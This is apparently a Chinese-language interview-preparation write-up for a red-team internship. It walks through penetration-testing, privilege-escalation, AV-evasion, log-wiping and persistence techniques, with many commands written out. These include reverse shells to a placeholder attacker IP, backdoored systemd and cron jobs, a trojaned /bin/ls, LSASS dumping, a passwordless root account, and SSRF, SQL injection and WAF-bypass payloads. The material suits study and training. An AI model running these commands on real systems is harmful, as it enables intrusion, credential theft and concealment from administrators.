【面试总结】--红队实习岗(1)

本来以为自己已经有渗透甚至红队实习生的水平了,近期海投简历,进行了好多场面试,有的现在看来是纯属运气好过了简历筛,一面试就被拷打了,感觉被问得这几天脑子嗡嗡的(当然也提升了很多),也是认清了自己现在大概就安服或渗透实习生水平,所以我决定用几个月好好沉淀总结一下。。。

注:有一些关于经验的就暂时不做解答了,毕竟每个人的经验经历都不一样

文章目录

shell 复制代码
全部问题:
1.自我介绍
2.是否进行工具开发?
3.src挖掘是否有getshell经历?简述
4.代码审计能力?
5.信息收集流程?
6.给一个登录框如何渗透?
7.密文解密的了解?
8.js解密?
9.sqlmap参数--os-shell各个数据库写入条件?
10.如何绕过CDN?
11.如何利用ssrf?
12.php反序列化函数?
13.内网攻击流程?
14.如何判断域环境?域控特征?
15.如何dump哈希?
16.Linux提权 
17.Windows提权
18.bypass免杀
19.Linux如何隐藏命令痕迹
20.Linux持久化
21.绕过什么waf?如何绕过的

一、代码审计能力

代码审计是通过审查源代码/二进制代码,发现安全漏洞的过程,核心能力要求如下:

  1. 语言基础:熟练掌握PHP/Java/Python/Go等主流开发语言语法、函数特性(如PHP的文件操作函数、Java的反射机制);
  2. 漏洞识别 :能精准定位常见漏洞(SQL注入、XSS、命令执行、反序列化等),熟悉漏洞触发的代码特征(如'eval($_GET['cmd'])'触发命令执行);
  3. 工具辅助:会使用SeayDzend、Fortify、CodeQL等审计工具,同时具备人工审计复杂逻辑代码的能力;
  4. 业务理解:结合业务场景审计(如支付流程、权限控制),发现逻辑漏洞(如越权访问、业务逻辑绕过);
  5. 修复建议:能给出可落地的漏洞修复方案,而非仅指出问题。

我的代码审计能力其实不算好。。虽然大一时期是学开发的但是只是学了个基础。还是得练啊

二、信息收集流程

信息收集是渗透测试的基础,需按"广度→深度"逐步推进:

  1. 基础信息收集
    • 域名相关:Whois查询('whois target.com')、子域名爆破(工具:Sublist3r、OneForAll);
    • 服务器信息:IP地址、开放端口('nmap -sV -p- target.ip')、操作系统版本、Web服务器类型(Nginx/Apache);
    • 公司信息相关:小蓝本、企查查、天眼查、icp备案、小程序
  2. Web应用信息
    • 技术栈探测:通过响应头、页面源码识别(如X-Powered-By: PHP/7.2.34)、工具(WhatWeb、Wappalyzer);
    • 敏感路径:后台登录页、备份文件('/config.php.bak')、目录遍历(工具:DirBuster、Dirsearch);
  3. 第三方信息
    • 搜索引擎:Google Hacking('site:target.com inurl:admin')、Shodan(搜索目标IP的开放服务);
    • 代码仓库:GitHub/Gitee搜索目标域名、公司名,查找泄露的源码、配置文件;
  4. 资产关联
    • 收集同IP下的其他域名、子公司资产,扩大测试范围;
    • 整理信息清单,标注高风险资产(如暴露的数据库端口、弱口令后台)。

我之前也写了一篇比较简易的edu信息收集

三、给一个登录框如何渗透?

登录框是渗透测试的高频入口,核心围绕"身份伪造、漏洞利用"展开:

  1. 弱口令爆破
    • 常用账号:admin、root、user、test,密码字典(弱口令TOP1000、目标公司相关信息组合);
    • 工具:Burp Suite Intruder(设置账号/密码变量,批量爆破)、Hydra(支持多种协议HTTP、FTP、SSH );
  2. SQL注入漏洞
    • 账号框注入:输入'admin' or 1=1#',若绕过登录则存在注入;
    • 密码框注入:输入'or'1'='1,结合账号admin尝试登录;
    • 进阶:使用Burp抓包,将参数放入SQLmap检测('sqlmap -r login.request -p username');
  3. 验证码绕过
    • 验证码复用:查看验证码是否未过期(多次提交同一验证码);
    • 验证码爆破:若验证码为4位数字,可通过字典批量尝试;
    • 前端绕过:查看页面源码,若验证码仅在前端校验(如JS判断),删除校验代码或修改返回值;
  4. 逻辑漏洞
    • 账号枚举:输入不存在的账号,提示"账号不存在",存在账号枚举;输入存在的账号,提示"密码错误",可先枚举有效账号再爆破密码;
    • 越权访问:登录后抓包,修改Cookie中的用户ID(如'uid=1'改为'uid=2'),尝试访问其他用户数据;
    • 重置管理员密码:是否可以绕过验证直接重置管理员密码;
    • 配置错误:是否可以任意文件读取,任意文件下载等
  5. 其他攻击
    • XSS漏洞:若登录框输入'<script>alert(1)</script>'后,后台显示时触发弹窗,可能存在存储型XSS;
    • 密码重置功能:利用"找回密码"功能,尝试短信轰炸、验证码截取、修改找回链接中的用户ID;
    • 第三方登录:若支持QQ/微信登录,测试OAuth授权漏洞(如回调地址篡改)。
    • Nday:利用nday或cms框架漏洞等直接打

四、密文解密的了解?

密文解密核心是"识别加密算法→选择对应工具/方法破解",常见场景如下:

  1. 常见加密算法及特征
    • MD5:32位/16位小写/大写字符串(如'e10adc3949ba59abbe56e057f20f883e'),不可逆,通过彩虹表碰撞;
    • SHA1:40位字符串(如'2aa60a8ff7fcd473d321e0146afd9e26df395147'),同理MD5,碰撞工具相同;
    • Base64:字符串末尾可能带'=',由字母、数字、'+''/'组成(如'YWRtaW4xMjM='解码为'admin123'),可逆;
    • AES/DES:通常为16位/32位字符串,需密钥和加密模式(ECB/CBC),不可逆(无密钥时暴力破解难度大);
  2. 解密工具与方法
  3. 注意事项
    • 加盐加密(如MD5(密码+盐值))无法直接通过彩虹表破解,需获取盐值后碰撞;
    • 若密文长度不匹配常见算法,可能是多次加密(如Base64+MD5),需逐层解密。

五、JS解密?

JS解密主要针对"前端加密的参数、混淆的代码",核心是"还原加密逻辑":

  1. 常见JS加密场景

    • 登录密码加密:如通过AES、RSA加密后提交(如京东登录密码加密);
    • 接口参数签名:如'sign'参数,通过MD5(参数+密钥)生成;
    • 代码混淆:变量名乱码(如'var a1b2c3 = function(){...}')、控制流平坦化,防止逆向;
  2. 解密步骤

    • 定位加密代码:
      • 浏览器F12→Sources,搜索关键词(如'encrypt''sign''AES');
      • 抓包查看参数,在Initiator中找到触发加密的JS文件;
    • 分析加密逻辑:
      • 格式化混淆代码(浏览器Sources→Pretty Print,图标为'{}');
      • 打断点调试(在加密函数处点击行号,输入参数后触发断点,观察变量变化);
    • 还原加密过程:
      • 提取加密函数(如AES加密的密钥、模式、IV),用Python/JS复现(如'CryptoJS.AES.encrypt(password, key, {iv: iv})');
      • 若为RSA加密,通常公钥在JS中,可直接用公钥加密明文;
  3. 工具辅助

  4. 示例:破解AES加密的密码
    若JS中加密代码为:

    复制代码
    function encryptPwd(pwd) {
      var key = CryptoJS.enc.Utf8.parse("1234567890abcdef"); // 密钥(16位)
      var iv = CryptoJS.enc.Utf8.parse("abcdef1234567890");  // IV(16位)
      return CryptoJS.AES.encrypt(pwd, key, {iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7}).toString();
    }

    用Python复现解密:

    'from 复制代码

六、sqlmap参数--os-shell各个数据库写入条件?

'--os-shell' 是sqlmap的高危参数,用于获取目标服务器的操作系统shell,核心依赖"数据库权限+文件写入权限",不同数据库的写入条件如下:

  1. MySQL数据库
    • 权限要求:数据库用户需拥有'FILE'权限('SELECT File_priv FROM mysql.user WHERE user='root';' 可读写);
    • 环境条件:
      • 知道网站绝对路径(可通过报错信息、phpinfo页面、目录遍历获取);
      • Web服务器对目标目录有写入权限(如网站根目录'/var/www/html');
      • 关闭'secure_file_priv''show variables like 'secure_file_priv';' 为空表示关闭);
    • 原理:通过'INTO OUTFILE'将恶意脚本(如PHP一句话木马)写入Web目录,再通过访问脚本获取shell。
  2. SQL Server数据库
    • 权限要求:数据库用户为'sa'权限(系统管理员);
    • 环境条件:
      • 启用'xp_cmdshell'(默认禁用,可通过'sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;' 启用);
      • 知道Web目录路径(如'C:\inetpub\wwwroot');
      • Web服务器允许写入文件(如IIS对目录有写入权限);
    • 原理:通过'xp_cmdshell'执行系统命令,将恶意ASP脚本写入Web目录。
  3. Oracle数据库
    • 权限要求:数据库用户拥有'CREATE DIRECTORY''UTL_FILE'权限;
    • 环境条件:
      • 知道Web服务器的文件系统路径(如'/var/www/html''D:\www');
      • 目标目录对Oracle进程有写入权限;
      • 启用'UTL_FILE'包(默认启用,部分环境可能禁用);
    • 原理:通过'UTL_FILE'包创建文件,写入JSP/PHP恶意脚本,再通过Web访问获取shell。
  4. PostgreSQL数据库
    • 权限要求:数据库用户为超级用户('superuser');
    • 环境条件:
      • 知道Web目录绝对路径;
      • 启用'COPY'命令写入权限(默认超级用户拥有);
      • Web服务器对目标目录有写入权限;
    • 原理:通过'COPY (SELECT '恶意脚本内容') TO '/var/www/html/shell.php' WITH (FORMAT 'text');' 写入木马。

七、如何绕过CDN?

CDN(内容分发网络)会隐藏真实服务器IP,绕过核心是"找到真实IP与CDN节点的差异",常用方法如下:

  1. 利用DNS解析记录
    • 历史DNS记录:查询目标域名的历史解析IP(工具:DNSdumpster、ViewDNS、站长工具),可能存在未更新的真实IP;
    • 子域名解析:部分子域名(如'test.target.com''mail.target.com')可能未使用CDN,解析后获取的IP可能是真实服务器IP;
    • DNS查询:直接查询域名的权威DNS服务器('nslookup -querytype=A target.com 权威DNSIP'),可能返回真实IP。
  2. 利用网络服务暴露
    • 邮件服务:查看目标公司的公开邮箱(如'contact@target.com'),发送邮件后查看邮件头的'Received'字段,获取邮件服务器IP(可能与Web真实IP同段);
    • 其他服务:扫描目标常见端口(如3389、22、3306),若某IP开放这些非CDN端口(CDN通常只开放80/443),可能是真实IP;
  3. 直接连接测试
    • 端口扫描:用'nmap -sV -p 80,443 目标IP段',访问扫描结果中开放80/443端口的IP,对比页面内容(如标题、源码)与目标域名一致,则为真实IP;
    • 主机头绑定:在本地'hosts'文件中添加'真实IP target.com',访问目标域名,若能正常打开且内容一致,则确认真实IP;
  4. 利用漏洞/配置错误
    • 服务器探针:若目标存在phpinfo页面、报错页面,可能泄露真实IP(如'REMOTE_ADDR'字段);
    • CDN配置错误:部分CDN未对所有端口/路径防护,访问非80/443端口(如8080、8443),可能直接连接真实服务器;
    • 边缘节点泄露:通过Shodan搜索'title:"target.com"',筛选CDN节点外的IP,访问验证是否为真实IP。
  5. 其他方法
    • 旁站查询:查询目标域名的同IP网站(工具:站长工具旁站查询),若旁站未使用CDN,可通过旁站IP反推真实IP;
    • ICMP探测:向目标域名发送ping请求('ping target.com'),部分CDN不屏蔽ICMP,可能返回真实IP(需结合其他方法验证);
    • 第三方接口:利用'http://ip-api.com/json/target.com''https://api.ip.sb/domain/target.com' 等接口查询真实IP。

八、如何利用SSRF?

SSRF(服务器端请求伪造)是服务器代替客户端发起请求的漏洞,核心利用"服务器的网络访问权限",常见场景如下:

  1. SSRF漏洞识别
    • 触发点:URL参数(如'?url=http://example.com')、图片上传(远程URL上传)、API调用(如第三方服务集成);
    • 测试方法:输入'http://127.0.0.1'(本地回环地址),若返回服务器本地页面,则存在SSRF;输入'http://192.168.1.1'(内网地址),探测内网存活主机。
  2. 常见利用场景
    • 探测内网资产:
      • 扫描内网端口:'?url=http://192.168.0.0/24:80',通过响应时间/内容判断端口是否开放;
      • 访问内网服务:如内网数据库('?url=mysql://192.168.1.100:3306')、Redis('?url=redis://192.168.1.101:6379')、Jenkins('?url=http://192.168.1.102:8080');
    • 读取本地文件:
      • 利用'file'协议:'?url=file:///etc/passwd'(Linux)、'?url=file:///C:/Windows/system32/drivers/etc/hosts'(Windows);
      • 利用'dict'协议:'?url=dict://127.0.0.1:22/info',获取服务版本信息;
    • 攻击内网应用:
      • 利用内网弱口令:如Jenkins弱口令登录('?url=http://192.168.1.102:8080/j_acegi_security_check?j_username=admin&j_password=admin');
      • 触发内网漏洞:如内网Struts2漏洞('?url=http://192.168.1.103/action?redirect:%25{#context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,#m=%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22),#m.setAccessible(true),#m.set(%23_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22id%22).getInputStream())}', 若返回'id'命令结果则利用成功);
  3. 绕过SSRF限制
    • 地址绕过:用'127.0.0.1'的变形('127.0.0.0.1''0177.0.0.1''localhost''[::1]');
    • 协议绕过:若限制'http'协议,尝试'https''file''dict''gopher'协议('gopher'协议可构造复杂请求,如Redis写入木马);
    • 端口绕过:若限制80/443端口,尝试8080、8443、3000等常用端口。

九、PHP反序列化函数?

PHP反序列化漏洞的核心是"可控参数传入反序列化函数,触发恶意代码执行",常见反序列化函数及漏洞利用如下:

  1. 核心反序列化函数
    • 'unserialize()':最常用的反序列化函数,直接将序列化字符串还原为PHP对象;
    • 危险场景:当反序列化的参数可控(如'$_GET['data']''$_COOKIE['user']'),且目标类存在魔术方法('__construct()''__destruct()''__wakeup()'等)时,可能触发漏洞;
  2. 魔术方法与漏洞触发
    • '__destruct()':对象销毁时自动调用,若方法中存在危险操作(如文件写入、命令执行),可构造序列化字符串触发;
      • 示例:目标类存在如下代码:
        'class Test { public $cmd; function __destruct() { system($this->cmd); // 危险操作:执行系统命令 } }'
      • 构造序列化字符串:
        '$obj = new Test(); $obj->cmd = 'id'; echo serialize($obj); // 输出:O:4:"Test":1:{s:3:"cmd";s:2:"id";}'
      • 漏洞利用:将序列化字符串作为参数传入'unserialize()',触发'system('id')'执行;
  3. 漏洞防御
    • 避免将可控参数直接传入'unserialize()'
    • 对序列化字符串进行签名验证(如添加密钥,验证通过后再反序列化);
    • 限制反序列化的类范围,禁止危险类的反序列化;
  4. 工具辅助

十、内网攻击流程?

内网攻击是"突破边界后,横向移动→权限提升→控制核心资产"的过程,核心流程如下:

  1. 边界突破与权限巩固
    • 获得外网服务器shell(如Web漏洞利用、弱口令爆破);
    • 提权至root/administrator权限;
    • 清除日志、建立持久化(如创建隐藏账号、植入后门),防止被发现;
  2. 内网信息收集
    • 网络拓扑探测:'ipconfig'(Windows)/'ifconfig'(Linux)查看网卡信息,'route print'(Windows)/'route -n'(Linux)查看路由表,确定内网网段;
    • 存活主机扫描:'ping -n 1 192.168.1.0/24'(Windows)、'fping -g 192.168.1.0/24'(Linux),或使用工具(Nmap、Masscan);
    • 端口与服务探测:扫描存活主机的开放端口(如3389、22、3306、5985),识别内网服务(如域控、数据库、文件服务器);
    • 域环境探测:判断是否存在域(参考"如何判断域环境"章节),收集域内用户、计算机名、域控IP等信息;
  3. 横向移动
    • 弱口令爆破:使用已获取的账号密码,尝试登录内网其他主机(工具:Hydra、CrackMapExec);
    • 哈希传递(Pass The Hash):利用已获取的NTLM哈希,无需密码登录内网主机(工具:Mimikatz、Impacket);
      • 示例(Windows):'mimikatz.exe "sekurlsa::pth /user:administrator /ntlm:哈希值 /domain:test.com" exit'
    • 票据传递(Pass The Ticket):获取域内票据(如TGT、TGS),利用票据登录其他主机(工具:Mimikatz、Rubeus);
    • 漏洞利用:利用内网主机的漏洞(如MS17-010、 EternalBlue),批量获取shell;
  4. 权限提升与核心资产控制
    • 域控渗透:若存在域环境,目标是获取域控权限(如通过黄金票据、白银票据攻击);
    • 核心数据窃取:访问文件服务器、数据库服务器,窃取敏感数据(如用户信息、业务数据);
    • 持久化控制:在域控、核心服务器植入后门(如域后门、计划任务后门),长期控制内网。

十一、如何判断域环境?域控特征?

  1. 判断是否存在域环境
    • Windows主机:
      • 命令查询:'systeminfo' 查看"域"字段,若显示域名称(如'test.com')而非"工作组",则存在域;
      • 查看计算机名:域内计算机名通常带有域前缀(如'TEST-PC001''TEST'为域缩写);
      • 查看网络配置:'ipconfig /all' 查看DNS服务器IP,域环境的DNS通常指向域控;
    • Linux主机:
      • 查看'/etc/resolv.conf',若DNS服务器为域控IP,且搜索域为域名称(如'search test.com'),可能存在域;
      • 尝试加入域查询:'realm discover test.com',若返回域信息则存在域;
  2. 域控(Domain Controller)特征
    • 端口特征:开放53(DNS服务)、88(Kerberos服务)、389(LDAP服务)、445(SMB服务)、636(LDAPS服务)、3268(全局编录)等端口;
    • 服务特征:运行DNS服务、Active Directory(AD)服务、Kerberos服务;
    • 命令查询(Windows域控):
      • 'netdom query dc':直接查询域内所有域控;
      • 'nltest /dclist:test.com':列出域'test.com'的域控;
    • 主机名特征:域控主机名通常为'DC01''DC-TEST'等,带有"DC"标识;
    • 权限特征:域控是域内权限最高的主机,管理着域用户、计算机的账号和权限。

十二、如何dump哈希?

Dump哈希是获取目标主机用户密码哈希(如NTLM哈希、Linux阴影哈希)的过程,用于后续哈希传递、暴力破解,常见方法如下:

  1. Windows系统Dump哈希
    • 工具:Mimikatz(最常用)、ProcDump+Mimikatz;
    • 方法1:Mimikatz直接Dump(需管理员权限):
      • 命令:'mimikatz.exe "sekurlsa::logonpasswords" exit',直接读取内存中的登录密码哈希(NTLM哈希、LM哈希);
    • 方法2:Dump SAM文件(离线破解):
      • SAM文件路径:'C:\Windows\System32\config\SAM'(系统运行时无法直接复制);
      • 用ProcDump导出LSASS进程:'procdump.exe -accepteula -ma lsass.exe lsass.dmp'
      • 用Mimikatz解析dmp文件:'mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit'
    • 哈希格式:NTLM哈希通常为32位字符串(如'e10adc3949ba59abbe56e057f20f883e');
  2. Linux系统Dump哈希
    • 直接读取阴影文件(需root权限):
      • 阴影文件路径:'/etc/shadow',存储用户密码的加密哈希(默认使用SHA-512加密);
      • 命令:'cat /etc/shadow',输出格式(如'root:$6$xyz$abc...:12345:0:99999:7:::'),'$6$'表示SHA-512加密;
    • 工具辅助:John the Ripper、Hashcat(用于破解阴影文件中的哈希);
      • 破解命令(Hashcat):'hashcat -m 1800 shadow.hash pass.txt'(-m 1800对应SHA-512加密);
  3. 注意事项
    • Dump哈希需管理员/root权限;
    • Windows 10/Server 2016及以上版本,默认启用LSASS保护,需关闭保护或使用高权限工具Dump;
    • 破解哈希的成功率依赖密码字典的强度。

十三、Linux提权

Linux提权是"普通用户→root用户"的过程,核心是"利用系统漏洞、配置错误、SUID文件",常见方法如下:

  1. SUID文件提权
    • SUID文件特征:文件权限位带有s(如'-rwsr-xr-x'),运行时继承文件所有者权限(若所有者为root,则运行时获得root权限);
    • 查找SUID文件:'find / -perm -u=s -type f 2>/dev/null'(排除错误输出);
    • 常用可提权的SUID文件:
      • 'find''find / -name test -exec /bin/sh \;'(执行后获得root shell);
      • 'cp''cp /etc/shadow /tmp/shadow'(复制阴影文件,破解root密码);
      • 'nmap':旧版本nmap存在交互模式提权,'nmap --interactive''!sh'
  2. sudo权限滥用
    • 查看当前用户可执行的sudo命令:'sudo -l'
    • 若显示'(ALL) NOPASSWD: ALL',直接sudo su切换至root;
    • 若允许执行特定命令(如'/usr/bin/find'),利用命令参数提权:'sudo find / -name test -exec /bin/sh \;'
  3. 系统漏洞提权
    • 漏洞识别:查看系统版本('uname -a')、内核版本(如'Linux ubuntu 4.4.0-122-generic');
    • 查找对应漏洞:搜索"Linux 4.4.0-122 提权漏洞",下载EXP(如Dirty COW、CVE-2021-4034);
    • 执行EXP提权:
      • 编译EXP:'gcc exp.c -o exp'
      • 赋予执行权限:'chmod +x exp'
      • 运行EXP:'./exp',成功后获得root shell;
  4. 计划任务提权
    • 查看系统计划任务:'crontab -l'(当前用户)、'cat /etc/crontab'(系统计划任务);
    • 若计划任务执行的脚本/命令可被当前用户修改,且以root权限运行,可修改脚本植入恶意命令;
      • 示例:计划任务'* * * * * root /opt/backup.sh',且'/opt/backup.sh'可写;
      • 提权操作:'echo "/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1" >> /opt/backup.sh',攻击机监听'nc -lvp 8888',等待计划任务执行获得root shell;
  5. 其他方法
    • 环境变量劫持:若SUID文件执行的命令未使用绝对路径(如'system("ls")'),可修改'PATH'环境变量,植入恶意'ls'命令提权;
    • 敏感文件泄露:查找'/root/.ssh/id_rsa'(root的SSH私钥),若可读取,直接'ssh -i id_rsa root@localhost'登录。

十四、Windows提权

Windows提权核心是"普通用户→administrator/System权限",常见方法包括"漏洞利用、配置错误、权限滥用",具体如下:

  1. 系统漏洞提权
    • 漏洞识别:查看系统版本('systeminfo')、补丁情况(如缺失'KB4503293'补丁可能存在CVE-2019-0841漏洞);
    • 常用提权漏洞:
      • MS17-010(EternalBlue):针对Windows 7/Server 2008,利用SMB漏洞提权,工具:Metasploit的'exploit/windows/smb/ms17_010_eternalblue'
      • CVE-2021-1732:Windows 10/Server 2019提权漏洞,EXP执行后获得System权限;
      • Dirty COW(CVE-2016-5195):跨平台漏洞,Windows版本可通过EXP提权;
    • 操作步骤:Metasploit中选择对应EXP,设置目标IP、payload(如'windows/meterpreter/reverse_tcp'),执行后获得高权限shell;
  2. 服务权限配置错误
    • 查找可修改的服务:使用工具AccessChk('accesschk.exe -uwcqv "Authenticated Users" * /accepteula'),查找"Authenticated Users"组有修改权限的服务;
    • 提权原理:修改服务的可执行路径为恶意程序,重启服务后执行恶意程序(以System权限运行);
      • 示例:服务'TestService'可修改,执行命令:
        'sc config TestService binPath= "C:\malware.exe" start= auto'(修改服务路径);
        'net stop TestService && net start TestService'(重启服务,触发恶意程序执行);
  3. UAC绕过
    • UAC(用户账户控制):默认情况下,普通用户执行管理员操作需授权,绕过UAC可直接获得管理员权限;
    • 常用工具:Metasploit的'exploit/windows/local/bypassuac''exploit/windows/local/bypassuac_injection'
    • 操作步骤:已获得普通用户meterpreter shell,执行'getuid'确认权限,然后加载UAC绕过模块,执行后获得管理员权限;
  4. 计划任务提权
    • 查看计划任务:'schtasks /query /fo list /v',查找以System权限运行、且可被当前用户修改的任务;
    • 提权操作:修改任务的执行命令为恶意脚本(如反弹shell),等待任务触发或手动执行;
  5. 令牌窃取
    • 工具:Mimikatz,通过窃取高权限令牌提升权限;
    • 命令:'mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "token::elevate" exit',执行后获得System权限;

十五、bypass免杀

免杀是"让恶意程序(如木马、后门)绕过杀毒软件(AV)检测"的技术,核心是"修改恶意程序特征,规避AV的静态/动态检测",常见方法如下:

  1. 静态免杀:修改文件特征
    • 代码混淆:
      • 变量名/函数名随机化(如'func123'代替'reverse_shell');
      • 增加无效代码(垃圾指令),打乱代码结构;
      • 字符串加密(如Base64加密命令字符串,运行时解密);
    • 壳保护:
      • 给恶意程序加壳(如UPX、Themida),加密程序代码,AV无法直接识别特征;
      • 自定义壳:编写简单壳程序,对恶意代码进行加密,运行时解密执行;
    • 编译选项修改:
      • 更换编译器(如用GCC代替MSVC)、修改编译参数(如'-O0'关闭优化);
      • 改变程序入口点、节区名称(避免AV识别常见恶意程序结构);
  2. 动态免杀:规避运行时检测
    • 内存加载:
      • 不落地执行:将恶意代码注入合法进程内存(如'notepad.exe'),避免文件落地被AV扫描;
      • 工具:Metasploit的'windows/meterpreter/reverse_tcp_inject' payload,或使用Cobalt Strike的'Spawn'功能;
    • 绕过行为检测:
      • 延迟执行:恶意代码运行后延迟一段时间(如10秒)再执行核心功能,规避AV的快速扫描;
      • 模拟正常行为:修改恶意程序的行为(如不直接连接境外IP,通过CDN转发;不批量读取敏感文件);
      • 禁用AV进程:通过命令暂时禁用AV服务(如'net stop WinDefend',需管理员权限);
  3. 漏洞利用免杀
    • 利用0day漏洞:使用未被AV识别的漏洞EXP,避免特征匹配;
    • 白名单程序劫持:利用系统白名单程序(如'mshta.exe''regsvr32.exe')执行恶意代码,这些程序通常不被AV拦截;
      • 示例:'mshta.exe http://攻击机IP/malicious.hta'(.hta文件中包含恶意脚本);
  4. 工具辅助
工具类型 代表工具 核心用途
免杀生成工具 Cobalt Strike 生成免杀payload、内存注入、行为混淆
免杀生成工具 Veil-Evasion、TheFatRat 脚本语言(Python/JS)免杀payload生成
代码混淆工具 PyArmor(Python)、JSObfu(JS) 对脚本代码进行加密、混淆
加壳工具 UPX、Themida、VMProtect 二进制程序压缩/加密加壳
检测工具 VirusTotal 上传文件检测AV识别率(https://www.virustotal.com/)
检测工具 AnyRun 动态沙箱检测,查看程序运行行为
  1. 注意事项
    • 免杀是"猫鼠游戏",AV会不断更新特征库,需定期更新免杀方法;
    • 避免使用公开的EXP/木马,尽量自定义或修改现有代码。

十六、Linux如何隐藏命令痕迹?

Linux渗透测试中,隐藏命令痕迹是为了"避免被管理员发现操作记录",核心是"清除日志、隐藏进程、擦除操作痕迹",常见方法如下:

  1. 清除命令历史
    • 临时禁用命令历史:执行'export HISTSIZE=0',当前shell不再记录命令历史;
    • 清空历史记录文件:'history -c'(清空当前shell历史)、'echo > ~/.bash_history'(清空用户历史文件)、'rm -rf ~/.bash_history'(删除历史文件);
    • 永久禁用历史记录:修改'~/.bashrc''/etc/profile',添加'HISTSIZE=0''HISTFILESIZE=0',重启shell后生效;
  2. 隐藏进程
    • 进程替换:使用'exec'命令替换当前进程(如'exec /bin/sh -i'),原进程消失,'ps'命令无法看到原进程;
    • 隐藏进程名:修改进程的命令行参数,如'./malware > /dev/null 2>&1 &''ps aux'显示为'./malware',不易被察觉;
    • 利用rootkit:安装rootkit(如Knark、Adore),隐藏进程、文件、端口(需root权限);
  3. 清除系统日志
    • 常见日志文件路径:
      • /var/log/auth.log(登录日志)、/var/log/syslog(系统日志)、/var/log/apache2/access.log(Web访问日志);
    • 清空日志:'echo > /var/log/auth.log''cat /dev/null > /var/log/syslog'
    • 删除日志:'rm -rf /var/log/auth.log'(注意:直接删除日志文件可能被管理员发现,建议清空而非删除);
    • 日志伪造:清空日志后,伪造正常的日志内容(如复制历史正常日志到当前日志文件);
  4. 隐藏文件与目录
    • 文件名以.开头(如'.malware'),成为隐藏文件,'ls'命令默认不显示,需'ls -a'才能看到;
    • 利用特殊目录隐藏:将恶意文件放入'/proc'(临时文件系统,重启后消失)、'/tmp'(临时目录,管理员较少关注);
    • 挂载隐藏:使用'mount --bind'将恶意目录挂载到正常目录下(如'mount --bind /malware /var/www/html'),访问'/var/www/html'实际访问'/malware',不易被发现;
  5. 其他隐藏方法
    • 网络连接隐藏:使用反弹shell时,选择不常见的端口(如8080、443),或通过加密隧道(如SSH隧道)连接,避免被防火墙日志记录;
    • 擦除文件操作痕迹:使用'shred'命令删除文件(如'shred -u /tmp/malware'),多次覆盖文件内容,防止数据恢复。

十七、Linux持久化

Linux持久化是"突破目标后,确保后续能持续访问目标主机"的过程,核心是"建立长期访问通道,抵御系统重启、管理员操作",常见方法如下:

  1. 创建隐藏账号

    • 创建普通隐藏账号:'useradd -m -s /bin/bash hiddenuser'(用户名不易被察觉),'passwd hiddenuser'设置密码;
    • 创建root权限隐藏账号:修改'/etc/passwd'文件,添加'hiddenroot::0:0:root:/root:/bin/bash'(用户名'hiddenroot',无密码,UID=0,拥有root权限);
    • 隐藏账号痕迹:删除'/var/log/auth.log'中创建账号的日志记录;
  2. SSH密钥持久化

    • 生成SSH密钥对:攻击机执行'ssh-keygen -t rsa',生成'id_rsa'(私钥)和'id_rsa.pub'(公钥);
    • 上传公钥到目标主机:目标主机创建'~/.ssh'目录('mkdir -p ~/.ssh'),将公钥内容写入'~/.ssh/authorized_keys''echo "攻击机公钥内容" >> ~/.ssh/authorized_keys');
    • 权限配置:'chmod 700 ~/.ssh''chmod 600 ~/.ssh/authorized_keys',确保SSH能正常读取;
    • 优势:无需密码,即使目标主机修改root密码,仍可通过SSH密钥登录;
  3. 计划任务持久化

    • 创建系统计划任务:编辑'/etc/crontab',添加'* * * * * root /opt/backdoor.sh'(每分钟执行一次后门脚本);
    • 后门脚本内容:反弹shell到攻击机(如'/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1');
    • 隐藏计划任务:脚本文件设置为隐藏('mv backdoor.sh .backdoor.sh'),并清空计划任务日志('echo > /var/log/cron');
  4. 服务持久化

    • 创建系统服务:编写服务文件'/etc/systemd/system/backdoor.service',内容如下:

      `'[Unit]

      Description=Backdoor Service

      After=network.target

      Service

      Type=simple

      ExecStart=/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1

      Restart=always # 服务停止后自动重启

      Install

      WantedBy=multi-user.target'`

    • 启用服务:'systemctl daemon-reload''systemctl enable backdoor.service'(开机自启)、'systemctl start backdoor.service'(启动服务);

    • 隐藏服务:修改服务描述('Description')为正常服务名称(如'Apache Support'),避免被管理员发现;

  5. rootkit持久化

    • 安装rootkit:rootkit(如Knark、Adore)可隐藏进程、文件、端口,且能在系统重启后保持生效;
    • 注意事项:rootkit检测难度低,但可能被杀毒软件/安全工具识别,需结合免杀使用;
  6. 文件后门持久化

    • 植入文件后门:修改系统常用命令(如'ls''ps'),在命令中添加反弹shell代码,管理员执行该命令时触发后门;
      • 示例:修改'/bin/ls',在文件开头添加'/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1 &'
    • 备份原命令:修改前备份原命令(如'cp /bin/ls /bin/ls.bak'),后续可恢复。

十八、绕过什么waf?如何绕过的

在渗透测试中,WAF(Web应用防火墙)是常见的防护设备,核心绕过思路是"识别WAF类型→找到防护规则漏洞→修改攻击 payload 规避检测",以下是实战中常见的WAF绕过案例:

  1. 绕过云WAF(如阿里云WAF、腾讯云WAF)
    • WAF特征:访问目标域名时,响应头可能带有'Server: AliYunWAF''X-Tencent-CDN'等标识;
    • 绕过方法:
      • 找到真实IP:云WAF通常只防护80/443端口,通过绕过CDN获取真实IP后,直接访问真实IP的80/443端口(或其他开放端口),绕过WAF防护;
      • payload变形:针对SQL注入,将关键词大写/小写混合(如'AdMiN' or 1=1#)、添加注释(如'admin'/**/or/**/1=1#)、使用编码(如URL编码'admin%27%20or%201=1%23');
      • 示例:原SQL注入payload'admin' or 1=1#被拦截,修改为'admin'/**/or/**/1=1#,WAF可能未检测到注释中的关键词;
  2. 绕过开源WAF(如ModSecurity、Naxsi)
    • WAF特征:目标服务器为Nginx/Apache,且安装了ModSecurity模块,响应头可能带有'X-ModSecurity: on'
    • 绕过方法:
      • 利用规则误判:ModSecurity对部分特殊字符过滤不严,可使用Unicode编码(如'admin\u0027 or 1=1#')、HTML实体编码(如'admin&#39; or 1=1#');
